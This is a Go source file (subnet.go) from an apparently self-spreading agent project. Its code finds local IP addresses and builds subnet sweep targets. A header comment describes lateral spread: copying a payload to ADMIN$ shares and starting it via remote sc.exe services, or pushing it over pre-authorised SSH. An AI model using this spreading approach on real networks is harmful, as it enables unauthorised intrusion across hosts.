Files
AetherForge/agent/deploy/subnet.go

117 lines
3.6 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package deploy
import (
"fmt"
"net"
"strings"
)
// Spread prerequisites for lateral deployment modules:
//
// Windows (SMB/SCM via autospread.go and smb_unc_spread.go):
// - Target TCP/445 (SMB) must be reachable on the LAN.
// - Classic spread (autospread.go): copy payload to \\host\ADMIN$ or \\host\C$,
// then sc.exe \\host create/start on the local path.
// - UNC spread (smb_unc_spread.go): sc.exe \\host create/start with binPath=
// pointing at a Forge output UNC (\\forge\pathforge$\worker.exe). Uses net.exe
// use on the share root when needed. Path Tracer can dispatch spread_smb_unc on
// the egress hop via POST /api/v1/pathtrace/spread.
// - Both require an admin-capable token on the target for remote SCM.
//
// Unix (SSH via autospread_unix.go):
// - Target TCP/22 (SSH) must be reachable.
// - Non-interactive auth only (scp/ssh -o BatchMode=yes): passwordless SSH must
// already work — e.g. the agent user's public key in target authorized_keys,
// or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
//
// Subnet discovery (per-agent, incremental — not fleet-wide full sweeps):
// - Active /24 host sweeps are IPv4-only, capped by MaxSubnetScanHosts (natpunch.go).
// syscheck uses a small cap (20); subnet_scan command defaults to 64 via command arg.
// - IPv6 addresses are tracked for local self-skip but are not port-scanned (/64
// sweeps are impractical). IPv6 peers may appear from the OS neighbor cache.
// - ARP cache is consulted first (arp_*.go) before any active sweep.
// - Lateral spread uses spreadSem (16 concurrent targets) per agent.
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, iface := range ifaces {
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := iface.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
ipnet, ok := a.(*net.IPNet)
if !ok {
continue
}
ip := ipnet.IP
if ip.IsLoopback() || ip.IsMulticast() || ip.IsLinkLocalUnicast() {
continue
}
if ip4 := ip.To4(); ip4 != nil {
ips = append(ips, ip4.String())
continue
}
if ip.To16() != nil {
ips = append(ips, ip.String())
}
}
}
return ips
}
// getSubnet returns the sweep prefix for an address:
// - IPv4: first three octets (/24)
// - IPv6: first four hextets (/64)
//
// Returns "" when the address cannot be used for subnet matching.
func getSubnet(ip string) string {
parsed := net.ParseIP(strings.TrimSpace(ip))
if parsed == nil {
return ""
}
if ip4 := parsed.To4(); ip4 != nil {
parts := strings.Split(ip4.String(), ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}
// IPv6 /64 — collapse :: shorthand for consistent map keys.
full := parsed.String()
if strings.Contains(full, ".") {
return ""
}
hextets := strings.Split(full, ":")
if len(hextets) < 4 {
return ""
}
return strings.Join(hextets[:4], ":")
}
// isIPv4 reports whether addr is an IPv4 host address.
func isIPv4(addr string) bool {
ip := net.ParseIP(addr)
return ip != nil && ip.To4() != nil
}
// ipv4SweepHost returns the i-th host in an IPv4 /24 (1254). ok is false for non-IPv4 prefixes.
func ipv4SweepHost(subnet string, i int) (host string, ok bool) {
if i < 1 || i > 254 {
return "", false
}
parts := strings.Split(subnet, ".")
if len(parts) != 3 {
return "", false
}
return fmt.Sprintf("%s.%s.%s.%d", parts[0], parts[1], parts[2], i), true
}